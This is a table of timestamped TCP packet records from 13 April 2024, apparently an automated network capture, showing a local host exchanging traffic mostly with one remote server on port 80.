Apr 13, 2024 20:21:19.168622017 CEST	58709	49745	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:19.225197077 CEST	80	49748	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:19.234451056 CEST	80	49748	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:19.234651089 CEST	49748	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:19.236730099 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:19.236921072 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:19.580852985 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:19.581075907 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:19.583369017 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:19.583539963 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:19.583681107 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:19.926363945 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:19.926747084 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:19.926793098 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:19.926831007 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:19.926831007 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:19.926856041 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:19.926872015 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:19.926879883 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:19.926911116 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:19.926920891 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:19.926949978 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:19.926959038 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:19.926992893 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:19.926999092 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:19.927031040 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:19.927042961 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:19.927072048 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:19.927077055 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:19.927113056 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:19.927119970 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:19.927160978 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.269821882 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.269890070 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.269941092 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.269993067 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.270036936 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.270078897 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.270108938 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.270128965 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.270147085 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.270185947 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.270196915 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.270225048 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.270226002 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.270262957 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.270267010 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.270303011 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.270308971 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.270344019 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.270349979 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.270381927 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.270391941 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.270421982 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.270441055 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.270461082 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.270476103 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.270500898 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.270513058 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.270560980 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.270620108 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.270663977 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.270680904 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.270704031 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.270716906 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.270742893 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.270745039 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.270780087 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.270788908 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.270822048 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.270834923 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.270874023 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.613079071 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.613145113 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.613183975 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.613219976 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.613223076 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.613260984 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.613267899 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.613287926 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.613310099 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.613317013 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.613399982 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.613411903 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.613440990 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.613451004 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.613481045 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.613492012 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.613521099 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.613528013 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.613565922 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.613571882 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.613609076 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.613615036 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.613650084 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.613662004 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.613692999 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.613696098 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.613733053 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.613739967 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.613774061 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.613781929 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.613812923 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.613826990 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.613854885 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.613861084 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.613893986 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.613897085 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.613933086 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.613935947 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.613970995 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.613982916 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.614010096 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.614023924 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.614052057 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.614062071 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.614094019 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.614105940 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.614132881 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.614136934 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.614171028 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.614180088 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.614211082 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.614217043 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.614252090 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.614260912 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.614291906 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.614298105 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.614330053 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.614339113 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.614368916 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.614372969 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.614408016 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.614414930 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.614445925 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.614458084 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.614486933 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.614491940 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.614526987 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.614531040 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.614567041 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.614572048 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.614605904 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.614609957 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.614645004 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.614649057 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.614686012 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.614692926 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.614726067 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.614732027 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.614768982 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.957461119 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.957524061 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.957562923 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.957597017 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.957598925 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.957633018 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.957642078 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.957649946 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.957681894 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.957688093 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.957726955 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.957731009 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.957768917 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.957777977 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.957808018 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.957813978 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.957845926 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.957854986 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.957885981 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.957889080 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.957926989 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.957927942 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.957969904 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.957971096 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.958008051 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958010912 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.958045959 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958050966 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.958086014 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958086967 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.958125114 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958163977 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958170891 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.958204031 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958241940 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958247900 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.958280087 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958282948 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.958318949 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958354950 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958363056 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.958396912 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958434105 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958440065 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.958472013 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958476067 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.958511114 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958548069 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958559990 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.958585978 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958622932 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958627939 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.958661079 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958667040 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.958702087 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958738089 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958745003 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.958776951 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958813906 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958821058 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.958853006 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958854914 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.958894014 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958930969 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.958940983 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.958970070 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959007025 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959014893 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.959045887 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959048033 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.959084988 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959121943 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959127903 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.959160089 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959197044 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959203959 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.959234953 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959239006 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.959274054 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959310055 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959320068 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.959350109 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959387064 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959398031 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.959424973 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959428072 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.959465981 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959502935 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959510088 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.959542036 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959578991 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959589958 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.959619045 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959629059 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.959657907 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959697962 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959703922 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.959736109 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959774971 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959780931 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.959811926 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959815025 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.959851027 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959888935 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959894896 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.959927082 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959963083 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.959968090 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.960001945 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.960005045 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.960041046 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.960078001 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.960084915 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.960118055 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.960155010 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.960163116 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.960195065 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.960196972 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.960263968 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.960303068 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.960313082 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.960341930 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.960381031 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.960391045 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.960418940 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.960421085 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.960458040 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.960495949 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.960503101 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.960541010 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.960578918 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:20.960586071 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:20.960623026 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.303121090 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.303185940 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.303225040 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.303252935 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.303262949 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.303286076 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.303304911 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.303332090 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.303369999 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.303411007 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.303416967 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.303450108 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.303487062 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.303497076 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.303525925 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.303528070 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.303564072 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.303601027 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.303607941 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.303639889 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.303683043 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.303685904 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.303725958 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.303725958 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.303766012 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.303802013 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.303807974 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.303843021 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.303879976 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.303888083 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.303920031 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.303922892 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.303961039 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.303997040 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304001093 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.304034948 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304073095 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304078102 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.304111958 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304114103 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.304150105 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304188013 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304194927 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.304253101 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304290056 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304296017 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.304328918 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304336071 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.304368019 CEST	80	49749	193.233.132.167	192.168.2.4
